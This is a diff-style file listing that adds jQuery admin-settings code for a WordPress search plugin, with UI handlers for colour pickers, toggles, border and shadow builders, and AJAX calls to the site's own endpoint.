+
callback: {
|
151 |
+
onShow: function() { $.noty.themes.defaultTheme.helpers.borderFix.apply(this); },
|
152 |
+
onClose: function() { $.noty.themes.defaultTheme.helpers.borderFix.apply(this); }
|
153 |
+
}
|
154 |
+
};
|
155 |
+
|
156 |
+
})(jQuery);
|
settings/types/others.js
ADDED
@@ -0,0 +1,525 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
(function( $ ){
|
2 |
+
function wpdreamsOthers (args) {
|
3 |
+
var _self = this;
|
4 |
+
this.constructor = function() {
|
5 |
+
_self.init = true;
|
6 |
+
$('.wpdreamscolorpicker').prev('input').bind("change", this.colorPickerInit);
|
7 |
+
$('.wpdreamscolorpicker').prev('input').trigger("change");
|
8 |
+
$('.wpdreams-slider.moveable .settings').trigger("click");
|
9 |
+
$("#wpdreams img[title].infoimage").tooltip({
|
10 |
+
effect: 'slide',
|
11 |
+
delay: 500,
|
12 |
+
events: {
|
13 |
+
def: 'click, mouseout',
|
14 |
+
img: 'click, blur',
|
15 |
+
checkbox: 'mouseover click, mouseout',
|
16 |
+
date: 'click, blur'
|
17 |
+
}
|
18 |
+
});
|
19 |
+
$( ".sortable" ).sortable({
|
20 |
+
items: 'div.wpdreams-slider.moveable',
|
21 |
+
dropOnEmpty: false,
|
22 |
+
delay: 200,
|
23 |
+
stop: function(event, ui) {
|
24 |
+
var nodes = $(".sortable div.wpdreams-slider.moveable");
|
25 |
+
var nodesArr = Array();
|
26 |
+
for(var j=0,i=nodes.length;i>=0;j++,i--) {
|
27 |
+
nodesArr[j] = $(nodes[i]).attr("slideid");
|
28 |
+
}
|
29 |
+
var data = {
|
30 |
+
action: 'reorder_slides',
|
31 |
+
nodes: nodesArr,
|
32 |
+
ordering: i
|
33 |
+
};
|
34 |
+
$(nodes).fadeTo(400, 0.4);
|
35 |
+
jQuery.post(ajaxurl, data, function(response) {
|
36 |
+
$(nodes).fadeTo(400, 1);
|
37 |
+
});
|
38 |
+
}
|
39 |
+
});
|
40 |
+
_self.init = false;
|
41 |
+
},
|
42 |
+
|
43 |
+
|
44 |
+
$('.wpdreamsThemeChooser select').bind('change', function(){
|
45 |
+
var parent = $(this);
|
46 |
+
while(parent.is('form')!=true) {
|
47 |
+
parent = parent.parent();
|
48 |
+
}
|
49 |
+
var themeDiv = $('div[name="'+$(this).val()+'"]');
|
50 |
+
var items = $('p', themeDiv);
|
51 |
+
items.each(function(){
|
52 |
+
param = $('input[name^="'+$(this).attr('paramname')+'_"]', parent);
|
53 |
+
param.val($(this).html());
|
54 |
+
$('.triggerer', param.parent()).trigger('click');
|
55 |
+
});
|
56 |
+
|
57 |
+
});
|
58 |
+
|
59 |
+
/*
|
60 |
+
Image Settings
|
61 |
+
Msg: The name of the separate params determinates the value outputted in the hidden field.
|
62 |
+
*/
|
63 |
+
$('.wpdreamsImageSettings input, .wpdreamsImageSettings select').change(function() {
|
64 |
+
parent = $(this).parent();
|
65 |
+
while (parent.hasClass('item')!=true) {
|
66 |
+
parent = parent.parent();
|
67 |
+
}
|
68 |
+
var elements = $('input[param!=1], select', parent);
|
69 |
+
var hidden = $('input[param=1]' ,parent);
|
70 |
+
var ret = "";
|
71 |
+
elements.each(function() {
|
72 |
+
ret+=$(this).attr("name")+":"+ $(this).val() + ";";
|
73 |
+
});
|
74 |
+
hidden.val(ret);
|
75 |
+
});
|
76 |
+
$('.wpdreamsImageSettings>fieldset>.triggerer').bind("click", function(){
|
77 |
+
var elements = $('input[param!=1], select', parent);
|
78 |
+
var hidden = $('input[param=1]' ,parent);
|
79 |
+
elements.each(function() {
|
80 |
+
var name = $(this).attr("name");
|
81 |
+
var regex = new RegExp(".*" + name + ":(.*?);.*");
|
82 |
+
val = hidden.val().replace(/(\r\n|\n|\r)/gm,"").match(regex);
|
83 |
+
$(this).val(val[1]);
|
84 |
+
if ($(this).next().hasClass('triggerer')) $(this).next().click();
|
85 |
+
});
|
86 |
+
});
|
87 |
+
//Image Settings End
|
88 |
+
|
89 |
+
/*
|
90 |
+
Select
|
91 |
+
Msg:
|
92 |
+
*/
|
93 |
+
$('.wpdreamsSelect .wpdreamsselect').change(function() {
|
94 |
+
_self.hidden = $(this).next();
|
95 |
+
var val = $(_self.hidden).val().match(/(.*[\S\s]*?)\|\|(.*)/);
|
96 |
+
var options = val[1];
|
97 |
+
var selected = val[2];
|
98 |
+
$(_self.hidden).val(options+"||"+$(this).val());
|
99 |
+
});
|
100 |
+
|
101 |
+
$('.wpdreamsSelect .triggerer').bind('click', function(){
|
102 |
+
var parent = $(this).parent();
|
103 |
+
var select = $('select', parent);
|
104 |
+
var hidden = $('input[type=hidden]', parent);
|
105 |
+
var val = $(hidden).val().replace(/(\r\n|\n|\r)/gm,"").match(/(.*[\S\s]*?)\|\|(.*)/);
|
106 |
+
var selected = $.trim(val[2]);
|
107 |
+
select.val(selected);
|
108 |
+
});
|
109 |
+
//Select end
|
110 |
+
|
111 |
+
|
112 |
+
/*
|
113 |
+
LanguageSelect
|
114 |
+
Msg:
|
115 |
+
*/
|
116 |
+
$('.wpdreamsLanguageSelect .wpdreamsselect').change(function() {
|
117 |
+
_self.hidden = $(this).next();
|
118 |
+
$(_self.hidden).val($(this).val());
|
119 |
+
});
|
120 |
+
|
121 |
+
//LanguageSelect end
|
122 |
+
|
123 |
+
|
124 |
+
/*
|
125 |
+
Onoff
|
126 |
+
Msg:
|
127 |
+
*/
|
128 |
+
$('.wpdreamsOnOff .wpdreamsonoff').click(function() {
|
129 |
+
var hidden = $(this).next();
|
130 |
+
var val = $(hidden).val();
|
131 |
+
if (val==1) {
|
132 |
+
val = 0;
|
133 |
+
$(this).removeClass("on");
|
134 |
+
$(this).addClass("off");
|
135 |
+
$(this).html("OFF");
|
136 |
+
} else {
|
137 |
+
val = 1;
|
138 |
+
$(this).removeClass("off");
|
139 |
+
$(this).addClass("on");
|
140 |
+
$(this).html("ON");
|
141 |
+
}
|
142 |
+
$(hidden).val(val).change();
|
143 |
+
});
|
144 |
+
$('.wpdreamsOnOff .triggerer').click(function() {
|
145 |
+
var hidden = $('input[type=hidden]', $(this).parent());
|
146 |
+
var a = $('a', $(this).parent());
|
147 |
+
var val = $(hidden).val();
|
148 |
+
if (val==0) {
|
149 |
+
a.removeClass("on").addClass("off").html("OFF");
|
150 |
+
} else {
|
151 |
+
a.removeClass("off").addClass("on").html("ON");
|
152 |
+
}
|
153 |
+
});
|
154 |
+
/*Onoff End*/
|
155 |
+
|
156 |
+
/*
|
157 |
+
YesNo
|
158 |
+
Msg:
|
159 |
+
*/
|
160 |
+
$('.wpdreamsYesNo .wpdreamsyesno').click(function() {
|
161 |
+
var hidden = $(this).next();
|
162 |
+
var val = $(hidden).val();
|
163 |
+
if (val==1) {
|
164 |
+
val = 0;
|
165 |
+
$(this).removeClass("yes");
|
166 |
+
$(this).addClass("no");
|
167 |
+
$(this).html("NO");
|
168 |
+
} else {
|
169 |
+
val = 1;
|
170 |
+
$(this).removeClass("no");
|
171 |
+
$(this).addClass("yes");
|
172 |
+
$(this).html("YES");
|
173 |
+
}
|
174 |
+
$(hidden).val(val);
|
175 |
+
$(hidden).change();
|
176 |
+
});
|
177 |
+
$('.wpdreamsYesNo .triggerer').click(function() {
|
178 |
+
var hidden = $('input[type=hidden]', $(this).parent());
|
179 |
+
var a = $('a', $(this).parent());
|
180 |
+
var val = $(hidden).val();
|
181 |
+
if (val==0) {
|
182 |
+
a.removeClass("yes").addClass("no").html("NO");
|
183 |
+
} else {
|
184 |
+
a.removeClass("no").addClass("yes").html("YES");
|
185 |
+
}
|
186 |
+
});
|
187 |
+
/*YesNo End*/
|
188 |
+
|
189 |
+
|
190 |
+
this.colorPickerInit = function(event) {
|
191 |
+
colorPicker = $(this).next().next('div');
|
192 |
+
input = this;
|
193 |
+
$(colorPicker).farbtastic(input);
|
194 |
+
};
|
195 |
+
$('.wpdreams-slider.moveable .settings').click(function(){
|
196 |
+
var moveable = this.parentNode.parentNode;
|
197 |
+
if ($('.errorMsg', moveable).length) return;
|
198 |
+
if (_self.sliderHeight==null) {
|
199 |
+
_self.sliderHeight = $(moveable).height();
|
200 |
+
}
|
201 |
+
if ($(moveable).height()<27) {
|
202 |
+
if (_self.init) {
|
203 |
+
$(moveable).css({
|
204 |
+
height: _self.sliderHeight
|
205 |
+
});
|
206 |
+
} else {
|
207 |
+
$(moveable).animate({
|
208 |
+
height: _self.sliderHeight
|
209 |
+
}, 500, function() {
|
210 |
+
});
|
211 |
+
}
|
212 |
+
} else {
|
213 |
+
if (_self.init) {
|
214 |
+
$(moveable).css({
|
215 |
+
height: "26px"
|
216 |
+
});
|
217 |
+
} else {
|
218 |
+
$(moveable).animate({
|
219 |
+
height: "26px"
|
220 |
+
}, 500, function() {
|
221 |
+
});
|
222 |
+
}
|
223 |
+
}
|
224 |
+
});
|
225 |
+
$('.successMsg').each(function() {
|
226 |
+
$(this).delay(4000).fadeOut();
|
227 |
+
});
|
228 |
+
$('img.delete').click(function() {
|
229 |
+
var del = confirm("Do yo really want to delete this item?");
|
230 |
+
if (del) {
|
231 |
+
$(this).next().submit();
|
232 |
+
}
|
233 |
+
});
|
234 |
+
|
235 |
+
/*
|
236 |
+
RadioImage
|
237 |
+
Msg:
|
238 |
+
*/
|
239 |
+
$('img.radioimage').click(function() {
|
240 |
+
$("img.radioimage", $(this).parent()).removeClass("selected");
|
241 |
+
$(this).addClass("selected");
|
242 |
+
var val = $("input[type=hidden]", $(this).parent()).val().match(/(.*[\S\s]*?)\|\|(.*)/);
|
243 |
+
var options = val[1];
|
244 |
+
var selected = val[2];
|
245 |
+
var pre = "/ajax-search-pro/img/" //magnifiers/magn5.png
|
246 |
+
var nval = $(this).attr('src').match(/.*?ajax-search-pro\/img\/(.*)/)[1];
|
247 |
+
nval = pre+nval;
|
248 |
+
$("input[type=hidden]", $(this).parent()).val(options+"||"+nval);
|
249 |
+
});
|
250 |
+
$('.wpdreamsImageRadio .triggerer').bind('click', function(){
|
251 |
+
var val = $("input[type=hidden]", $(this).parent()).val().replace(/(\r\n|\n|\r)/gm,"").match(/(.*[\S\s]*?)\|\|(.*)/);
|
252 |
+
var selected = $.trim(val[2]);
|
253 |
+
$("img", $(this).parent()).each(function(){
|
254 |
+
$(this).removeClass("selected");
|
255 |
+
var re = new RegExp(selected);
|
256 |
+
if ($.trim($(this).attr('src')).match(re)!=null) {
|
257 |
+
$(this).addClass("selected");
|
258 |
+
}
|
259 |
+
});
|
260 |
+
});
|
261 |
+
/*RadioImage End*/
|
262 |
+
|
263 |
+
|
264 |
+
/*
|
265 |
+
BoxShadow
|
266 |
+
Msg: Its a bit more complicated but working fine :)
|
267 |
+
*/
|
268 |
+
$('.wpdreamsBoxShadow input[type=text], .wpdreamsBoxShadow select').change(function() {
|
269 |
+
var value = "";
|
270 |
+
var parent = $(this).parent();
|
271 |
+
while (parent.hasClass('wpdreamsBoxShadow')!=true) {
|
272 |
+
parent = $(parent).parent();
|
273 |
+
}
|
274 |
+
var hlength = $.trim($('input[name*="_xx_hlength_xx_"]', parent).val())+"px ";
|
275 |
+
var vlength = $.trim($('input[name*="_xx_vlength_xx_"]', parent).val())+"px ";
|
276 |
+
var blurradius = $.trim($('input[name*="_xx_blurradius_xx_"]', parent).val())+"px ";
|
277 |
+
var spread = $.trim($('input[name*="_xx_spread_xx_"]', parent).val())+"px ";
|
278 |
+
var color = $.trim($('input[name*="_xx_color_xx_"]', parent).val())+" ";
|
279 |
+
var inset = $.trim($('select[name*="_xx_inset_xx_"]', parent).val())+";";
|
280 |
+
var boxshadow = "box-shadow:"+hlength+vlength+blurradius+spread+color+inset;
|
281 |
+
|
282 |
+
$('input[type=hidden]', parent).val(boxshadow);
|
283 |
+
});
|
284 |
+
$('.wpdreamsBoxShadow>fieldset>.triggerer').bind('click', function(){
|
285 |
+
var parent = $(this).parent();
|
286 |
+
var hidden = $("input[type=hidden]", parent);
|
287 |
+
var boxshadow = hidden.val().replace(/(\r\n|\n|\r)/gm,"").match(/box-shadow:(.*?)px (.*?)px (.*?)px (.*?)px (.*?) (.*?);/);
|
288 |
+
|
289 |
+
$('input[name*="_xx_hlength_xx_"]', parent).val(boxshadow[1])+"px ";
|
290 |
+
$('input[name*="_xx_vlength_xx_"]', parent).val(boxshadow[2])+"px ";
|
291 |
+
$('input[name*="_xx_blurradius_xx_"]', parent).val(boxshadow[3])+"px ";
|
292 |
+
$('input[name*="_xx_spread_xx_"]', parent).val(boxshadow[4])+"px ";
|
293 |
+
$('input[name*="_xx_color_xx_"]', parent).val(boxshadow[5])+" ";
|
294 |
+
$('select[name*="_xx_inset_xx_"]', parent).val(boxshadow[6])+";";
|
295 |
+
$('input[name*="_xx_color_xx_"]', parent).keyup();
|
296 |
+
/*var name = $(this).attr('name').match(/.*_xx_(.*)_xx_/)[1]
|
297 |
+
var regex = new RegExp(".*" + name + ":(.*?);.*");
|
298 |
+
val = hidden.val().replace(/(\r\n|\n|\r)/gm,"").match(regex);
|
299 |
+
$(this).val(val[1]); */
|
300 |
+
//$('input[name*="_xx_color_xx_"]', parent).trigger("keyup");
|
301 |
+
|
302 |
+
});
|
303 |
+
/*BoxShadow end*/
|
304 |
+
|
305 |
+
|
306 |
+
/*
|
307 |
+
Border
|
308 |
+
Msg: Its a bit more complicated but working fine :)
|
309 |
+
*/
|
310 |
+
$('.wpdreamsBorder input[type=text], .wpdreamsBorder select').bind("change", function() {
|
311 |
+
var value = "";
|
312 |
+
/*$('input[type=text]', $(this).parent()).each(function(){
|
313 |
+
if ($(this).attr('name').match(/.*_xx_(.*)_xx_/)!=null) {
|
314 |
+
var name = $(this).attr('name').match(/.*_xx_(.*)_xx_/)[1];
|
315 |
+
value += name+ ":" + $(this).val()+";";
|
316 |
+
}
|
317 |
+
});
|
318 |
+
$('select', $(this).parent()).each(function(){
|
319 |
+
if ($(this).attr('name').match(/.*_xx_(.*)_xx_/)!=null) {
|
320 |
+
var name = $(this).attr('name').match(/.*_xx_(.*)_xx_/)[1];
|
321 |
+
value += name+ ":" + $(this).val()+";";
|
322 |
+
}
|
323 |
+
});*/
|
324 |
+
var parent = $(this).parent();
|
325 |
+
while (parent.hasClass('wpdreamsBorder')!=true) {
|
326 |
+
parent = $(parent).parent();
|
327 |
+
}
|
328 |
+
var width = $('input[name*="_xx_width_xx_"]', parent).val()+"px ";
|
329 |
+
var style = $('select[name*="_xx_style_xx_"]', parent).val()+" ";
|
330 |
+
var color = $('input[name*="_xx_color_xx_"]', parent).val()+";";
|
331 |
+
var border = "border:"+width+style+color;
|
332 |
+
|
333 |
+
var topleft = $.trim($('input[name*="_xx_topleft_xx_"]', parent).val())+"px ";
|
334 |
+
var topright = $.trim($('input[name*="_xx_topright_xx_"]', parent).val())+"px ";
|
335 |
+
var bottomright = $.trim($('input[name*="_xx_bottomright_xx_"]', parent).val())+"px ";
|
336 |
+
var bottomleft = $.trim($('input[name*="_xx_bottomleft_xx_"]', parent).val())+"px;";
|
337 |
+
var borderradius = "border-radius:"+topleft+topright+bottomright+bottomleft;
|
338 |
+
|
339 |
+
var value = border + borderradius;
|
340 |
+
|
341 |
+
$('input[type=hidden]', parent).val(value);
|
342 |
+
});
|
343 |
+
$('.wpdreamsBorder>fieldset>.triggerer').bind('click', function(){
|
344 |
+
var parent = $(this).parent();
|
345 |
+
var hidden = $("input[type=hidden]", parent);
|
346 |
+
var border = hidden.val().replace(/(\r\n|\n|\r)/gm,"").match(/border:(.*?)px (.*?) (.*?);/);
|
347 |
+
$('input[name*="_xx_width_xx_"]', parent).val(border[1])+"px ";
|
348 |
+
$('select[name*="_xx_style_xx_"]', parent).val(border[2])+" ";
|
349 |
+
$('input[name*="_xx_color_xx_"]', parent).val(border[3])+";";
|
350 |
+
|
351 |
+
var borderradius = hidden.val().replace(/(\r\n|\n|\r)/gm,"").match(/border-radius:(.*?)px(.*?)px(.*?)px(.*?)px;/);
|
352 |
+
$('input[name*="_xx_topleft_xx_"]', parent).val(borderradius[1])+"px ";
|
353 |
+
$('input[name*="_xx_topright_xx_"]', parent).val(borderradius[2])+"px ";
|
354 |
+
$('input[name*="_xx_bottomright_xx_"]', parent).val(borderradius[3])+"px ";
|
355 |
+
$('input[name*="_xx_bottomleft_xx_"]', parent).val(borderradius[4])+"px;";
|
356 |
+
$('input[name*="_xx_color_xx_"]', parent).keyup();
|
357 |
+
/*var name = $(this).attr('name').match(/.*_xx_(.*)_xx_/)[1]
|
358 |
+
var regex = new RegExp(".*" + name + ":(.*?);.*");
|
359 |
+
val = hidden.val().replace(/(\r\n|\n|\r)/gm,"").match(regex);
|
360 |
+
$(this).val(val[1]); */
|
361 |
+
//$('input[name*="_xx_color_xx_"]', parent).trigger("keyup");
|
362 |
+
|
363 |
+
});
|
364 |
+
/*Border end*/
|
365 |
+
|
366 |
+
|
367 |
+
/*
|
368 |
+
BorderRadius
|
369 |
+
Msg: Its a bit more complicated but working fine :)
|
370 |
+
*/
|
371 |
+
$('.wpdreamsBorderRadius input[type=text]').change(function() {
|
372 |
+
var value = "";
|
373 |
+
$('input[type=text]', $(this).parent()).each(function(){
|
374 |
+
value += " " + $(this).val()+"px";
|
375 |
+
});
|
376 |
+
$('input[type=hidden]', $(this).parent()).val("border-radius:"+value+";");
|
377 |
+
});
|
378 |
+
$('.wpdreamsBorderRadius>fieldset>.triggerer').bind('click', function(){
|
379 |
+
var hidden = $("input[type=hidden]", $(this).parent());
|
380 |
+
var values = hidden.val().match(/border-radius:(.*?)px(.*?)px(.*?)px(.*?)px;/);
|
381 |
+
var i = 1;
|
382 |
+
$('input[type=text]', $(this).parent()).each(function(){
|
383 |
+
if ($(this).attr('name')!=null) {
|
384 |
+
$(this).val(values[i]);
|
385 |
+
i++;
|
386 |
+
}
|
387 |
+
});
|
388 |
+
});
|
389 |
+
/*BorderRadius end*/
|
390 |
+
|
391 |
+
$('img.ordering').click(function() {
|
392 |
+
$(this).next().submit();
|
393 |
+
});
|
394 |
+
|
395 |
+
/*
|
396 |
+
Colorpicker Start
|
397 |
+
Msg: Keyup event triggers the color change!
|
398 |
+
*/
|
399 |
+
$('.wpdreamsColorPicker .wpdreamscolorpicker').click( function(e) {
|
400 |
+
colorPicker = $(this).next('div');
|
401 |
+
input = $(this).prev('input');
|
402 |
+
$(colorPicker).farbtastic(input);
|
403 |
+
colorPicker.show();
|
404 |
+
var inputPos = input.position();
|
405 |
+
colorPicker.css("left",inputPos.left);
|
406 |
+
e.preventDefault();
|
407 |
+
$(document).mousedown( function() {
|
408 |
+
$(colorPicker).hide();
|
409 |
+
$(input).val($(input).val());
|
410 |
+
$(input).trigger('change');
|
411 |
+
$(input).trigger('keyup');
|
412 |
+
});
|
413 |
+
});
|
414 |
+
$('.wpdreamsColorPicker .triggerer').bind('click', function(){
|
415 |
+
var parent = $(this).parent();
|
416 |
+
var input = $('input[type=text]', parent);
|
417 |
+
input.trigger("keyup");
|
418 |
+
});
|
419 |
+
//Colorpicker End
|
420 |
+
|
421 |
+
|
422 |
+
$('form.wpdreams-ajaxinput').each(function(){
|
423 |
+
var _tmpmargin = $(this).css("marginLeft");
|
424 |
+
$("img", this).click(function() {
|
425 |
+
var src = $(this).attr('src');
|
426 |
+
var img = src.match(/(.*)\/.*$/)[1];
|
427 |
+
if ($(this).attr('opened')=="0") {
|
428 |
+
$(this).attr('opened', '1');
|
429 |
+
$(this).attr('src', img+'/arrow-left.png');
|
430 |
+
($(this).parent()).animate({marginLeft:0});
|
431 |
+
} else {
|
432 |
+
$(this).attr('opened', '0');
|
433 |
+
$(this).attr('src', img+'/arrow-right.png');
|
434 |
+
($(this).parent()).animate({marginLeft:_tmpmargin});
|
435 |
+
}
|
436 |
+
});
|
437 |
+
$("input[name=url]", this).click(function() {
|
438 |
+
if ($(this).val()=="Enter the feed url here...")
|
439 |
+
$(this).val("");
|
440 |
+
});
|
441 |
+
$("input[name=url]", this).blur(function() {
|
442 |
+
if ($(this).val()=="")
|
443 |
+
$(this).val("Enter the feed url here...");
|
444 |
+
});
|
445 |
+
$("input[type=button]", this).bind("click",function(e){
|
446 |
+
e.preventDefault();
|
447 |
+
var data = {
|
448 |
+
action: 'wpdreams-ajaxinput',
|
449 |
+
url: $("input[name=url]", $(this).parent()).val(),
|
450 |
+
uid: $("input[name=uid]", $(this).parent()).val(),
|
451 |
+
callback: $("input[name=callback]", $(this).parent()).val(),
|
452 |
+
itemsnum: $("select[name=itemsnum]", $(this).parent()).val()
|
453 |
+
};
|
454 |
+
var _tmpnode = $("input[type=button]", $(this).parent());
|
455 |
+
var _tmpval = $("input[type=button]", $(this).parent()).val();
|
456 |
+
_tmpnode.val("Wait..");
|
457 |
+
_tmpnode.css("opacity", 0.8);
|
458 |
+
_tmpnode.attr("disabled", "disabled");
|
459 |
+
jQuery.post(
|
460 |
+
ajaxurl,
|
461 |
+
data,
|
462 |
+
function(response) {
|
463 |
+
if (response.status==0) {
|
464 |
+
noty({
|
465 |
+
text: response.msg,
|
466 |
+
type: 'error',
|
467 |
+
timeout: '2000'
|
468 |
+
});
|
469 |
+
} else {
|
470 |
+
noty({
|
471 |
+
text: response.msg,
|
472 |
+
type: 'success',
|
473 |
+
timeout: '2000'
|
474 |
+
});
|
475 |
+
}
|
476 |
+
_tmpnode.css("opacity", 1);
|
477 |
+
_tmpnode.removeAttr("disabled");
|
478 |
+
_tmpnode.val(_tmpval);
|
479 |
+
}, 'json');
|
480 |
+
});
|
481 |
+
});
|
482 |
+
this.constructor();
|
483 |
+
}(jQuery);
|
484 |
+
$(document).ready(function() {
|
485 |
+
var x = new wpdreamsOthers();
|
486 |
+
});
|
487 |
+
(function( $ ){
|
488 |
+
$.fn.disable = function() {
|
489 |
+
return this.each(function() {
|
490 |
+
if ($('.hider', this)[0]==null) {
|
491 |
+
$(this).css('position', 'relative');
|
492 |
+
var w = $(this).width();
|
493 |
+
var h = $(this).height();
|
494 |
+
this.$innerDiv = $(this)
|
495 |
+
.append($('<div></div>')
|
496 |
+
.css({
|
497 |
+
position: 'absolute',
|
498 |
+
opacity: 0.7,
|
499 |
+
top: 0,
|
500 |
+
left: 0,
|
501 |
+
background: "#FFFFFF",
|
502 |
+
width: w,
|
503 |
+
height: h
|
504 |
+
})
|
505 |
+
.addClass('hider')
|
506 |
+
)
|
507 |
+
;
|
508 |
+
} else {
|
509 |
+
$('.hider', this).css({
|
510 |
+
display: 'block'
|
511 |
+
});
|
512 |
+
}
|
513 |
+
});
|
514 |
+
}
|
515 |
+
$.fn.enable = function() {
|
516 |
+
return this.each(function() {
|
517 |
+
if ($('.hider', this)[0]!=null) {
|
518 |
+
$('.hider', this).css({
|
519 |
+
display: "none"
|
520 |
+
});
|
521 |
+
}
|
522 |
+
});
|
523 |
+
}
|
524 |
+
})( jQuery );
|
525 |
+
}(jQuery));
|
settings/types/style.css
ADDED
@@ -0,0 +1,350 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
